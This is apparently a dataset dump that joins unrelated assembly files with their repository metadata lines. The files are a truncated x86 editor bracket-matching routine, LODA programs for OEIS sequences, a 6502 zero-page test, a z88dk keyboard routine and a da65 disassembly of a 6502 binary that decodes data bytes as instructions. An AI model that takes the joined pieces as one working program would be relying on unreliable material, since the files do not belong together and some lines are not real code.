CHARS]==VK_RETURN inc cp mov eax,cp invoke GetCharPtr,ebx,eax mov edx,eax mov edi,[ebx].EDIT.hChars add edi,[ebx].EDIT.rpChars xor edx,edx .endif .else inc cp mov eax,cp invoke GetCharPtr,ebx,eax mov edx,eax mov edi,[ebx].EDIT.hChars add edi,[ebx].EDIT.rpChars xor edx,edx .endif dec edx dec cp .endif inc edx inc cp .endw xor eax,eax dec eax ret BracketMatchRight endp BracketMatchLeft proc uses ebx esi edi,hMem:DWORD,nChr:DWORD,nMatch:DWORD,cp:DWORD LOCAL nCount:DWORD mov ebx,hMem mov nCount,0 push cp invoke GetCharPtr,ebx,cp mov edx,eax mov edi,[ebx].EDIT.hChars add edi,[ebx].EDIT.rpChars .while sdword ptr edx>=0 mov al,byte ptr nMatch mov ah,byte ptr nChr .if al==byte ptr [edi+edx+sizeof CHARS] push edx invoke IsCharPos,ebx,cp pop edx .if !eax dec nCount .if ZERO? mov eax,edx add eax,[ebx].EDIT.cpLine jmp Ex .endif .endif .elseif ah==byte ptr [edi+edx+sizeof CHARS] push edx invoke IsCharPos,ebx,cp pop edx .if !eax inc nCount .endif .endif .if !edx && [ebx].EDIT.line dec cp invoke GetCharPtr,ebx,cp mov edx,eax mov edi,[ebx].EDIT.hChars add edi,[ebx].EDIT.rpChars .while (byte ptr [edi+edx+sizeof CHARS]==VK_SPACE || byte ptr [edi+edx+sizeof CHARS]==VK_TAB) && edx!=0 dec edx dec cp .endw push edx invoke IsCharPos,ebx,cp pop edx .if !eax .if byte ptr bracketcont!=VK_RETURN .if edx dec edx mov al,byte ptr [edi+edx+sizeof CHARS] .if al!=byte ptr bracketcont && al!=byte ptr bracketcont+1 .break .endif .endif .endif .endif inc cp inc edx .endif dec edx dec cp .endw xor eax,eax dec eax Ex: pop cp push eax invoke GetCharPtr,ebx,cp pop eax ret BracketMatchLeft endp BracketMatch proc uses ebx,hMem:DWORD,nChr:DWORD,cp:DWORD mov ebx,hMem .if [ebx].EDIT.cpbrst!=-1 || [ebx].EDIT.cpbren!=-1 invoke InvalidateEdit,ebx,[ebx].EDIT.edta.hwnd invoke InvalidateEdit,ebx,[ebx].EDIT.edtb.hwnd xor eax,eax dec eax mov [ebx].EDIT.cpbrst,eax mov [ebx].EDIT.cpbren,eax .endif mov al,byte ptr nChr xor ecx,ecx .while byte ptr bracketstart[ecx] .if al==bracketstart[ecx] push ecx invoke IsCharPos,ebx,cp pop ecx or eax,eax jne Ex movzx eax,byte ptr bracketend[ecx] invoke BracketMatchRight,ebx,nChr,eax,cp mov [ebx].EDIT.cpbren,eax mov eax,cp mov [ebx].EDIT.cpbrst,eax invoke InvalidateEdit,ebx,[ebx].EDIT.edta.hwnd invoke InvalidateEdit,ebx,[ebx].EDIT.edtb.hwnd mov eax,[ebx].EDIT.cpbren jmp Ex .endif inc ecx .endw xor ecx,ecx .while byte ptr bracketend[ecx] .if al==bracketend[ecx] push ecx invoke IsCharPos,ebx,cp pop ecx or eax,eax jne Ex movzx eax,byte ptr bracketstart[ecx] invoke BracketMatchLeft,ebx,nChr,eax,cp mov [ebx].EDIT.cpbrst,eax mov eax,cp mov [ebx].EDIT.cpbren,eax invoke InvalidateEdit,ebx,[ebx].EDIT.edta.hwnd invoke InvalidateEdit,ebx,[ebx].EDIT.edtb.hwnd mov eax,[ebx].EDIT.cpbrst jmp Ex .endif inc ecx .endw mov eax,-1 Ex: ret BracketMatch endp GetLineBegin proc uses ebx esi edi,hMem:DWORD,nLine:DWORD mov eax,nLine .if eax .while nLine dec nLine mov eax,nLine lea edi,[eax*4] add edi,[ebx].EDIT.hLine mov esi,[edi].LINE.rpChars add esi,[ebx].EDIT.hChars mov ecx,[esi].CHARS.len .break .if ecx<2 mov al,[esi+ecx+sizeof CHARS-2] .break .if al!=bracketcont && al !=bracketcont[1] .endw mov eax,nLine inc eax .endif ret GetLineBegin endp
19.826316
130
0.605632
5fea5b2b17b6bc357472c44ba9c98739ca1f1f2e
772
asm
Assembly
programs/oeis/030/A030004.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/030/A030004.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/030/A030004.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A030004: (prime(n)-1)(prime(n)-3)(prime(n)-5)/48. ; 0,0,1,10,20,56,84,165,364,455,816,1140,1330,1771,2600,3654,4060,5456,6545,7140,9139,10660,13244,17296,19600,20825,23426,24804,27720,39711,43680,50116,52394,64824,67525,76076,85320,91881,102340,113564,117480,138415,142880,152096,156849,187460,221815,234136,240464,253460,273819,280840,317750,341376,366145,392084,400995,428536,447580,457310,508080,585276,608685,620620,644956,735130,776216,848046,862924,893200,939929,1004731,1055240,1107414,1143135,1198144,1274196,1313400,1394204,1499784,1521520,1633355,1656360,1726669,1774630,1848224,1949476,2001460,2027795,2081156,2246839,2362041,2421090,2542124,2604125,2699004,2895620,2929290,3244140,3353896 seq $0,98090 ; Numbers k such that 2k-3 is prime. sub $0,2 bin $0,3
110.285714
650
0.80829
27c105b9d5baedc7bc4c083102b95c614db9c2de
358
asm
Assembly
test/asm/zp1.asm
Galfodo/SIDdecompiler
aeda7aff18c8d61e5e0716a1301d4d3c52f12234
[ "MIT" ]
11
2019-03-13T12:38:39.000Z
2021-10-17T05:04:58.000Z
test/asm/zp1.asm
Galfodo/SIDdecompiler
aeda7aff18c8d61e5e0716a1301d4d3c52f12234
[ "MIT" ]
null
null
null
test/asm/zp1.asm
Galfodo/SIDdecompiler
aeda7aff18c8d61e5e0716a1301d4d3c52f12234
[ "MIT" ]
null
null
null
* = $1000 start: ldx #$01 lda lo,x sta $fb lda hi,x sta $fc jsr doit rts lo .byte 0, <rut, 0 hi .byte 0, >rut, 0 doit lda #2 clc adc $fb sta $fb lda #0 adc $fc sta $fc ldy #0 lda ($fb),y sta jmpv+1 iny lda ($fb),y sta jmpv+2 jmpv jmp $fce2 rut .word $fce2, ok, $fce2 ok lda #6 sta $d020 rts
8.52381
24
0.50838
867b91089c5e8aa3d5c05895f0beafc5161bae0f
531
asm
Assembly
oeis/245/A245245.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/245/A245245.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/245/A245245.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A245245: a(n) = C(3*n^2, n^2). ; Submitted by Christian Krause ; 1,3,495,4686825,2254848913647,52588547141148893628,58152371703925106867047535565,3012179439602547459232394950891834843500,7255167425905233148164780983569428433097979870294255,808718755397067598640202627155266231883064669446721506930287016061,4158251463258564744783383526326405580280466005743648708663033657304756328324008620,983944431992885247886528744781914765780055310889986542226990820250469418230392153367541438162630800 pow $0,2 mov $1,$0 mul $0,3 bin $0,$1
59
426
0.892655
a5af3aac577cba3b4d654e0035237d06b89619c6
1,060
asm
Assembly
libsrc/target/mikro80/input/in_KeyPressed.asm
Frodevan/z88dk
f27af9fe840ff995c63c80a73673ba7ee33fffac
[ "ClArtistic" ]
640
2017-01-14T23:33:45.000Z
2022-03-30T11:28:42.000Z
libsrc/target/mikro80/input/in_KeyPressed.asm
Frodevan/z88dk
f27af9fe840ff995c63c80a73673ba7ee33fffac
[ "ClArtistic" ]
1,600
2017-01-15T16:12:02.000Z
2022-03-31T12:11:12.000Z
libsrc/target/mikro80/input/in_KeyPressed.asm
Frodevan/z88dk
f27af9fe840ff995c63c80a73673ba7ee33fffac
[ "ClArtistic" ]
215
2017-01-17T10:43:03.000Z
2022-03-23T17:25:02.000Z
; uint in_KeyPressed(uint scancode) SECTION code_clib PUBLIC in_KeyPressed PUBLIC _in_KeyPressed EXTERN CLIB_KEYBOARD_ADDRESS ; Determines if a key is pressed using the scan code ; returned by in_LookupKey. ; enter : l = scan row ; h = key mask ; exit : carry = key is pressed & HL = 1 ; no carry = key not pressed & HL = 0 ; used : AF,BC,HL ; write to ppi0 porta with key row (port 0xf4) ; Read from ppi0 portb with value (including shift/ctrl keys) (port 0xf5) ; Bit 5 = shift, Bit 6 = ctrl .in_KeyPressed ._in_KeyPressed ld a,l and 15 ld b,a inc b ld a,@11111110 row_find: dec b jr z,rotate_done rlca jr row_find rotate_done: out ($07),a ;Select row in a,($06) ;So we have the key cpl and $7f ld c,a ;Save it for a minute and h jr z,fail ld b,0 ld a,l ;7 = shift, 6 = control rlca ;Rotate to match the hardware rlca rlca and @00000110 ld b,a ; Now we need to read the shift row in a,($05) cpl and @00000110 cp b ;Is it what we want? jr nz,fail ld hl,1 scf ret fail: ld hl,0 and a ret
16.825397
73
0.667925
d758a13df089ffe868a9ff323211dfecc837fbef
674
asm
Assembly
programs/oeis/020/A020873.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/020/A020873.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/020/A020873.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A020873: a(n) = number of cycles in Moebius ladder M_n. ; 2,3,7,15,29,53,95,171,313,585,1115,2159,4229,8349,16567,32979,65777,131345,262451,524631,1048957,2097573,4194767,8389115,16777769,33555033,67109515,134218431,268436213,536871725,1073742695,2147484579,4294968289,8589935649,17179870307,34359739559,68719477997,137438954805,274877908351,549755815371,1099511629337,2199023257193,4398046512827,8796093024015,17592186046309,35184372090813,70368744179735,140737488357491,281474976712913,562949953423665,1125899906845075,2251799813687799,4503599627373149,9007199254743749 mov $1,2 mov $2,1 mov $4,$0 lpb $0,1 sub $0,1 add $1,$4 mov $3,$2 mul $2,2 add $4,$3 lpe
48.142857
515
0.81454
28444f64b752e9c67d294afe7290b57fb02645af
30,821
asm
Assembly
test/test1.asm
8bitgeek/run816
45dd8628ceb2519b1e062d918615982958fdd3d3
[ "MIT" ]
null
null
null
test/test1.asm
8bitgeek/run816
45dd8628ceb2519b1e062d918615982958fdd3d3
[ "MIT" ]
1
2020-09-19T09:23:07.000Z
2020-09-19T09:23:07.000Z
test/test1.asm
8bitgeek/run816
45dd8628ceb2519b1e062d918615982958fdd3d3
[ "MIT" ]
null
null
null
; da65 V2.16 - Ubuntu 2.16-2 ; Created: 2020-09-18 13:53:51 ; Input file: ./test1 ; Page: 1 .setcpu "6502" L021D := $021D L0229 := $0229 L0253 := $0253 L0272 := $0272 L02B1 := $02B1 L02D0 := $02D0 L02DC := $02DC L02F2 := $02F2 L0336 := $0336 L033F := $033F L0355 := $0355 L03AB := $03AB L03B2 := $03B2 L03B6 := $03B6 L03BA := $03BA L03C1 := $03C1 L03C4 := $03C4 L03D7 := $03D7 L03E3 := $03E3 L03EE := $03EE L0400 := $0400 L040C := $040C L044A := $044A L0454 := $0454 L0462 := $0462 L046C := $046C L0477 := $0477 L048F := $048F L049C := $049C L04A9 := $04A9 L04DC := $04DC L0561 := $0561 L05AA := $05AA L05D1 := $05D1 L05D7 := $05D7 L06FB := $06FB L075B := $075B L0765 := $0765 L0772 := $0772 L0778 := $0778 L077F := $077F L0796 := $0796 L07A2 := $07A2 L07A9 := $07A9 L07B6 := $07B6 L07C3 := $07C3 L083E := $083E L0845 := $0845 L0853 := $0853 L0858 := $0858 L085D := $085D L0862 := $0862 L086D := $086D L087B := $087B L0892 := $0892 L08AE := $08AE L0905 := $0905 L0908 := $0908 L093C := $093C L0960 := $0960 L096D := $096D L09B4 := $09B4 L09BF := $09BF L09EC := $09EC L09FB := $09FB L0A2E := $0A2E L0A37 := $0A37 L0A4B := $0A4B L0A4D := $0A4D L0A65 := $0A65 L0A7F := $0A7F L0A97 := $0A97 L0AA0 := $0AA0 L0AB6 := $0AB6 L0AE0 := $0AE0 L0AEF := $0AEF L0B64 := $0B64 L0B8D := $0B8D L0CF5 := $0CF5 L0CFC := $0CFC ora ($D8,x) ldx #$FF txs lda #$F0 ldx #$FF sta $00 stx $01 jsr L0B8D jsr L021D jsr L077F pha jsr L0796 pla jmp LFFF1 ldy #$00 beq LF4FF lda #$29 ldx #$02 jmp L0CFC LF4FF: rts jsr L0A4D jmp L0253 LF506: ldy #$04 jsr L086D sta $04 stx $05 .byte $1A bne LF513 inx LF513: ldy #$03 jsr L0A97 lda $04 ldx $05 jsr L0A4D ldy #$04 ldx #$00 lda ($00),y ldy #$00 jsr L0A7F ldy #$01 jsr L086D sta $04 stx $05 jsr L07A2 ldy #$00 jsr L0A97 lda $04 ldx $05 stx $10 ora $10 bne LF506 jsr L0858 rts jsr L0A4D jmp L02B1 LF54F: ldy #$05 jsr L086D sta $04 stx $05 .byte $1A bne LF55C inx LF55C: ldy #$04 jsr L0A97 lda $04 ldx $05 jsr L0A4D ldy #$05 jsr L086D sta $04 stx $05 .byte $1A bne LF575 inx LF575: ldy #$04 jsr L0A97 lda $04 ldx $05 ldy #$00 jsr L0862 ldy #$00 jsr L0A7F ldy #$01 jsr L086D sta $04 stx $05 jsr L07A2 ldy #$00 jsr L0A97 lda $04 ldx $05 stx $10 ora $10 bne LF54F jsr L085D rts jsr L07A9 ldx #$00 lda #$00 ldy #$02 jsr L0A97 ldy #$03 jsr L086D cpx #$FF bne LF5BE cmp #$FF LF5BE: jsr L0960 beq LF5C6 jmp L02F2 LF5C6: jmp L0336 ldy #$03 jsr L086D ldy #$00 jsr L0A97 lda #$B0 ldx #$0B jsr L0A4D ldy #$03 jsr L086D jsr L0A4D ldy #$05 jsr L086D ldy #$00 jsr L0862 jsr L0A4D ldy #$06 jsr L09FB ldy #$03 jsr L086D sta $04 stx $05 .byte $1A bne LF601 inx LF601: ldy #$02 jsr L0A97 lda $04 ldx $05 jmp L02DC ldx #$00 lda #$00 ldy #$02 jsr L0A97 ldy #$03 jsr L086D cpx #$00 bne LF621 cmp #$FF LF621: jsr L0960 beq LF629 jmp L0355 LF629: jmp L03AB lda #$29 ldx #$0D jsr L0A4D lda #$AA jsr L0A37 ldx #$20 lda #$00 jsr L0229 lda #$29 ldx #$2D jsr L0A4D lda #$29 ldx #$0D jsr L0A4D ldx #$20 lda #$00 jsr L0272 lda #$29 ldx #$0D jsr L0A4D lda #$29 ldx #$2D jsr L0A4D ldx #$20 lda #$00 jsr L0272 ldy #$03 jsr L086D sta $04 stx $05 .byte $1A bne LF676 inx LF676: ldy #$02 jsr L0A97 lda $04 ldx $05 jmp L033F ldx #$00 lda #$00 jmp L03B2 jsr L0853 rts ldy #$00 lda ($16),y inc $16 bne LF697 inc $17 LF697: rts lda $4D34 sta $4D2F jsr L0462 lda #$2F ldx #$4D jsr L0A4D jsr L0A2E jmp L0CF5 lda $14 sec sbc #$02 sta $14 bcs LF6B9 dec $15 LF6B9: rts lda $4D39 bne LF6D0 jsr L0400 jmp L0778 lda $4D39 bne LF6D0 jsr L0400 jmp L0772 LF6D0: jsr L0400 sta $02 stx $03 jsr L03D7 ldy #$01 lda ($14),y tax dey lda ($14),y rts ldy #$00 sty $08 sty $09 LF6E9: lda ($16),y sec sbc #$30 bcc LF71C cmp #$0A bcs LF71C jsr L03BA pha lda $08 ldx $09 asl $08 rol $09 asl $08 rol $09 adc $08 sta $08 txa adc $09 sta $09 asl $08 rol $09 pla adc $08 sta $08 bcc LF6E9 inc $09 bcs LF6E9 LF71C: lda $08 ldx $09 rts ldy $4D3B inc $4D3B sta $4D3C,y rts lda #$3C ldx #$4D clc adc $4D3B bcc LF736 inx LF736: jmp L0A4D lda $18 ldx $19 jmp L0A4D LF740: jsr L03C1 inc $4D35 bne LF740 inc $4D36 bne LF740 rts jsr L0462 lda $4D50 ldx $4D51 jsr L0A4D lda $4D52 ldx $4D53 jsr L0A4D jmp L0CF5 sty $08 jsr L087B jsr L0454 lda $08 jmp L08AE sty $08 jsr L087B jsr L0454 lda $08 jmp L0905 pha ldy #$05 LF783: lda $14,y sta $4D29,y dey bpl LF783 pla sta $14 stx $15 jsr L083E sta $16 stx $17 jsr L083E sta $18 stx $19 lda #$00 tay sta ($18),y iny sta ($18),y iny lda ($18),y sta $0CF6 iny lda ($18),y sta $0CF7 lda $16 sta $08 lda $17 sta $09 ldy #$00 LF7BD: lda ($16),y beq LF7CC cmp #$25 beq LF7CC iny bne LF7BD inc $17 bne LF7BD LF7CC: tya clc adc $16 sta $16 bcc LF7D6 inc $17 LF7D6: sec sbc $08 sta $0A lda $17 sbc $09 sta $0B ora $0A beq LF80A jsr L07B6 ldy #$05 lda $19 sta ($00),y dey lda $18 sta ($00),y dey lda $09 sta ($00),y dey lda $08 sta ($00),y dey lda $0B sta ($00),y dey lda $0A sta ($00),y jsr L0CF5 LF80A: jsr L03B6 tax bne LF81B ldx #$05 LF812: lda $4D29,x sta $14,x dex bpl LF812 rts LF81B: cmp #$25 bne LF828 lda ($16),y cmp #$25 bne LF82E jsr L03BA LF828: jsr L03C4 jmp L04DC LF82E: lda #$00 ldx #$0B LF832: sta $4D30,x dex bpl LF832 lda ($16),y cmp #$2D bne LF843 stx $4D30 beq LF85C LF843: cmp #$2B bne LF84C stx $4D31 beq LF85C LF84C: cmp #$20 bne LF855 stx $4D32 beq LF85C LF855: cmp #$23 bne LF862 stx $4D33 LF85C: jsr L03BA jmp L0561 LF862: ldx #$20 cmp #$30 bne LF86E tax jsr L03BA lda ($16),y LF86E: stx $4D34 cmp #$2A bne LF87E jsr L03BA jsr L0400 jmp L05AA LF87E: jsr L040C sta $4D35 stx $4D36 sty $4D37 sty $4D38 lda ($16),y cmp #$2E bne LF8AE jsr L03BA lda ($16),y cmp #$2A bne LF8A5 jsr L03BA jsr L0400 jmp L05D1 LF8A5: jsr L040C sta $4D37 stx $4D38 LF8AE: lda ($16),y cmp #$7A beq LF8CD cmp #$68 beq LF8CD cmp #$74 beq LF8CD cmp #$6A beq LF8C8 cmp #$4C beq LF8C8 cmp #$6C bne LF8D3 LF8C8: lda #$FF sta $4D39 LF8CD: jsr L03BA jmp L05D7 LF8D3: sty $4D3B ldx #$3C stx $4D50 ldx #$4D stx $4D51 jsr L03BA cmp #$63 bne LF8F5 jsr L0400 sta $4D3C lda #$00 sta $4D3D jmp L06FB LF8F5: cmp #$64 beq LF8FD cmp #$69 bne LF92A LF8FD: ldx #$00 lda $4D32 beq LF906 ldx #$20 LF906: lda $4D31 beq LF90D ldx #$2B LF90D: stx $4D3A jsr L03EE ldy $03 bmi LF922 ldy $4D3A beq LF922 sty $4D3C inc $4D3B LF922: ldy #$0A jsr L048F jmp L06FB LF92A: cmp #$6E bne LF943 jsr L0400 sta $08 stx $09 ldy #$00 lda ($18),y sta ($08),y iny lda ($18),y sta ($08),y jmp L04DC LF943: cmp #$6F bne LF96E jsr L03EE ldy $4D33 beq LF966 pha stx $10 ora $10 ora $02 ora $03 ora $4D37 ora $4D38 beq LF966 lda #$30 jsr L044A pla LF966: ldy #$08 jsr L048F jmp L06FB LF96E: cmp #$70 bne LF97F ldx #$00 stx $4D39 inx stx $4D33 lda #$78 bne LF9A6 LF97F: cmp #$73 bne LF98F jsr L0400 sta $4D50 stx $4D51 jmp L06FB LF98F: cmp #$75 bne LF99E jsr L03E3 ldy #$0A jsr L049C jmp L06FB LF99E: cmp #$78 beq LF9A6 cmp #$58 bne LF9CF LF9A6: pha lda $4D33 beq LF9B6 lda #$30 jsr L044A lda #$58 jsr L044A LF9B6: jsr L03E3 ldy #$10 jsr L049C pla cmp #$78 bne LF9CC lda $4D50 ldx $4D51 jsr L0AB6 LF9CC: jmp L06FB LF9CF: jmp L04DC lda $4D50 ldx $4D51 jsr L0AA0 sta $4D52 stx $4D53 lda $4D37 ora $4D38 beq LF9FE ldx $4D37 cpx $4D52 lda $4D38 tay sbc $4D53 bcs LF9FE stx $4D52 sty $4D53 LF9FE: sec lda $4D35 sbc $4D52 tax lda $4D36 sbc $4D53 bcs LFA11 lda #$00 tax LFA11: eor #$FF sta $4D36 txa eor #$FF sta $4D35 lda $4D30 bne LFA24 jsr L046C LFA24: jsr L0477 lda $4D30 beq LFA2F jsr L046C LFA2F: jmp L04DC sta $4D54 lda #$00 sta $4D55 rts iny pha clc tya adc $00 sta $00 bcc LFA47 inc $01 LFA47: pla rts ldy #$FF cpx #$80 bcs LFA51 ldy #$00 LFA51: sty $02 sty $03 rts lda $0CF8 ldx $0CF9 jsr L0A4D lda $0CFA ldx $0CFB jsr L0A4D ldy #$04 jmp L02D0 ldy #$00 beq LFA78 lda #$D7 ldx #$0C jmp L0CFC LFA78: rts sec sbc #$01 bcs LFA7F dex LFA7F: rts lda $00 sec sbc #$04 sta $00 bcc LFA8A rts LFA8A: dec $01 rts lda $00 sec sbc #$06 sta $00 bcc LFA97 rts LFA97: dec $01 rts sta $4D56 sta $08 stx $4D57 stx $09 ldy #$01 lda ($08),y and #$01 bne LFAB5 LFAAC: lda #$10 jsr L075B tax jmp L085D LFAB5: lda ($08),y and #$04 bne LFAAC ldy #$00 lda ($08),y ldx #$00 jsr L0A4D ldy #$09 jsr L0A65 ldy #$07 jsr L0A65 ldy #$09 jsr L086D jsr L096D cpx #$00 bne LFAE8 cmp #$00 bne LFAE8 ldy #$05 jsr L086D ldy #$0A jmp L0765 LFAE8: jsr LFFF5 cpx #$FF bne LFB07 cmp #$FF bne LFB07 lda $4D56 sta $08 lda $4D57 sta $09 ldy #$01 lda ($08),y ora #$04 sta ($08),y bne LFAAC LFB07: jsr L0A4D ldy #$05 jsr L086D jsr L0AE0 jmp L085D ldy #$01 lda ($00),y tax .byte $B2 brk inc $00 beq LFB25 inc $00 beq LFB27 rts LFB25: inc $00 LFB27: inc $01 rts ldy #$04 jmp L0765 ldy #$05 jmp L0765 ldy #$06 jmp L0765 sta $08 stx $09 ldx #$00 lda ($08),y rts ldy #$01 lda ($00),y tax dey lda ($00),y rts lda #$00 tax .byte $64 .byte $02 .byte $64 .byte $03 pha jsr L07A9 ldy #$03 lda $03 sta ($00),y dey lda $02 sta ($00),y dey txa sta ($00),y pla .byte $92 brk rts sta $10 jsr L083E sta $08 stx $09 sta $02 stx $03 jsr L083E sta $0A stx $0B jsr L083E sta $0C stx $0D rts jsr L0892 ldx $0D ldy $10 cpy #$0A bne LFBDF lda $0C ora $0B ora $0A bne LFBA9 cpx #$80 bne LFBA9 ldy #$0B LFB9E: lda $0BCB,y sta ($08),y dey bpl LFB9E jmp L093C LFBA9: txa bpl LFBDF lda #$2D ldy #$00 sta ($08),y inc $08 bne LFBB8 inc $09 LFBB8: lda $0A eor #$FF clc adc #$01 sta $0A lda $0B eor #$FF adc #$00 sta $0B lda $0C eor #$FF adc #$00 sta $0C lda $0D eor #$FF adc #$00 sta $0D jmp L0908 jsr L0892 LFBDF: lda #$00 pha LFBE2: ldy #$20 lda #$00 LFBE6: asl $0A rol $0B rol $0C rol $0D rol a cmp $10 bcc LFBF7 sbc $10 inc $0A LFBF7: dey bne LFBE6 tay lda $0BBB,y pha lda $0A ora $0B ora $0C ora $0D bne LFBE2 ldy #$00 LFC0B: pla sta ($08),y beq LFC13 iny bne LFC0B LFC13: lda $02 ldx $03 rts bne LFC20 LFC1A: ldx #$00 txa rts bne LFC1A LFC20: ldx #$00 lda #$01 rts beq LFC20 bmi LFC20 ldx #$00 txa rts beq LFC31 bpl LFC20 LFC31: ldx #$00 txa rts beq LFC20 bcc LFC20 ldx #$00 txa rts beq LFC1A ldx #$00 txa rol a rts sta $0E txa beq LFC77 stx $0F jsr L09EC lda #$00 ldx $03 beq LFC7A sta $10 ldy #$10 lsr $0F ror $0E LFC5C: bcc LFC68 clc adc $02 pha txa adc $10 sta $10 pla LFC68: ror $10 ror a ror $0F ror $0E dey bne LFC5C lda $0E ldx $0F rts LFC77: jmp L09B4 LFC7A: ldy $02 ldx $0E stx $02 ldx $0F sty $0E ldy #$08 jmp L09BF sta $0E jsr L09EC lda #$00 ldy #$08 ldx $03 beq LFCB2 sta $0F lsr $0E LFC9A: bcc LFCA6 clc adc $02 pha txa adc $0F sta $0F pla LFCA6: ror $0F ror a ror $0E dey bne LFC9A tax lda $0E rts LFCB2: lsr $0E LFCB4: bcc LFCB9 clc adc $02 LFCB9: ror a ror $0E dey bne LFCB4 tax lda $0E rts pha ldy #$01 lda ($00),y sta $03 .byte $B2 brk sta $02 pla jmp L0845 sty $4D58 lda $0CF1 ldx $0CF2 jsr L0A4D lda $00 ldx $01 clc adc $4D58 bcc LFCE9 inx LFCE9: sta $08 stx $09 ldy #$01 lda ($08),y tax dey lda ($08),y jsr L0A4D lda $08 ldx $09 jsr L0B64 ldy $4D58 jmp L0765 lda #$01 jmp L0A4B ldy #$00 lda ($00),y ldy $00 beq LFD19 dec $00 ldy #$00 sta ($00),y rts LFD19: dec $01 dec $00 sta ($00),y rts lda #$00 ldx #$00 pha lda $00 sec sbc #$02 sta $00 bcs LFD30 dec $01 LFD30: ldy #$01 txa sta ($00),y pla dey sta ($00),y rts ldy #$03 lda $00 sec sbc #$02 sta $00 bcs LFD47 dec $01 LFD47: lda ($00),y tax dey lda ($00),y ldy #$00 sta ($00),y iny txa sta ($00),y rts pha sty $10 ldy #$01 lda ($00),y sta $09 dey lda ($00),y sta $08 ldy $10 pla sta ($08),y jmp L0845 ldy #$00 sta ($00),y iny pha txa sta ($00),y pla rts sta $08 stx $09 ldx #$00 ldy #$00 LFD7F: lda ($08),y beq LFD8B iny bne LFD7F inc $09 inx bne LFD7F LFD8B: tya rts sta $08 stx $09 sta $0A stx $0B ldy #$00 LFD97: lda ($08),y beq LFDB0 tax lda $0BD7,x and #$02 beq LFDA9 txa sec sbc #$E0 sta ($08),y LFDA9: iny bne LFD97 inc $09 bne LFD97 LFDB0: lda $0A ldx $0B rts ldx #$00 sta $0E stx $0F jsr L09EC jsr L0AEF lda $02 ldx $03 rts lda #$00 sta $09 ldy #$10 ldx $0F beq LFDEF LFDD0: asl $02 rol $03 rol a rol $09 pha cmp $0E lda $09 sbc $0F bcc LFDE8 sta $09 pla sbc $0E pha inc $02 LFDE8: pla dey bne LFDD0 sta $08 rts LFDEF: asl $02 rol $03 rol a bcs LFDFA cmp $0E bcc LFDFE LFDFA: sbc $0E inc $02 LFDFE: dey bne LFDEF sta $08 rts ldy #$05 jsr L0A65 jsr L0A2E ldy #$07 jsr L0A65 lda $0D25 ldx $0D26 jsr L07C3 sta $08 stx $09 ora $09 bne LFE28 .byte $3A sta $0D21 bne LFE35 LFE28: lda $08 clc adc $0D21 sta $0D21 txa adc $0D22 LFE35: sta $0D22 jmp L085D pha lda #$00 sta $0D21 sta $0D22 ldy #$02 lda ($00),y sta $0D25 lda #$21 sta ($00),y iny lda ($00),y sta $0D26 lda #$0D sta ($00),y pla jsr L04A9 lda $0D21 ldx $0D22 rts lda #$29 sta $08 lda #$0D sta $09 lda #$00 tay ldx #$40 beq LFE7D LFE73: sta ($08),y iny bne LFE73 inc $09 dex bne LFE73 LFE7D: cpy #$30 beq LFE86 sta ($08),y iny bne LFE7D LFE86: rts .byte $25 LFE88: bmi $FEBE cli .byte $3A and $30 .byte $32 cli asl a brk bmi LFEC5 .byte $32 .byte $33 .byte $34 and $36,x .byte $37 sec and $4241,y .byte $43 .byte $44 eor $46 and $3132 .byte $34 .byte $37 .byte $34 sec .byte $33 rol $34,x sec brk bpl LFEC0 bpl LFEC2 bpl LFEC4 bpl LFEC6 bpl LFE88 bvc LFF0A bvc LFF0C bpl LFECE bpl LFED0 LFEC0: bpl LFED2 LFEC2: bpl LFED4 LFEC4: .byte $10 LFEC5: .byte $10 LFEC6: bpl LFED8 bpl LFEDA bpl LFEDC bpl LFEDE LFECE: ldy #$00 LFED0: brk brk LFED2: brk brk LFED4: brk brk brk brk LFED8: brk brk LFEDA: brk brk LFEDC: brk brk LFEDE: .byte $0C .byte $0C .byte $0C .byte $0C .byte $0C .byte $0C .byte $0C .byte $0C .byte $0C .byte $0C brk brk brk brk brk brk brk asl a asl a asl a asl a asl a asl a .byte $02 .byte $02 .byte $02 .byte $02 .byte $02 .byte $02 .byte $02 .byte $02 .byte $02 .byte $02 .byte $02 .byte $02 .byte $02 .byte $02 .byte $02 .byte $02 .byte $02 .byte $02 .byte $02 .byte $02 brk LFF0A: brk brk LFF0C: brk brk brk ora #$09 ora #$09 ora #$09 ora ($01,x) ora ($01,x) ora ($01,x) ora ($01,x) ora ($01,x) ora ($01,x) ora ($01,x) ora ($01,x) ora ($01,x) ora ($01,x) brk brk brk brk rti brk brk brk brk brk brk brk brk brk brk brk brk brk brk brk brk brk brk brk brk brk brk brk brk brk brk brk brk brk brk brk brk brk brk brk brk brk brk brk brk brk brk brk brk brk brk brk brk brk brk brk brk brk brk brk brk brk brk brk brk brk brk brk brk brk brk brk brk brk brk brk brk brk brk brk brk brk brk brk brk brk brk brk brk brk brk brk brk brk brk brk brk brk brk brk brk brk brk brk brk brk brk brk brk brk brk brk brk brk brk brk brk brk brk brk brk brk brk brk brk brk brk brk brk brk brk brk brk brk ora ($00,x) ora ($01,x) brk .byte $02 ora ($00,x) brk brk brk brk brk brk brk brk brk brk brk brk brk brk brk .byte $D7 .byte $0C .byte $DA 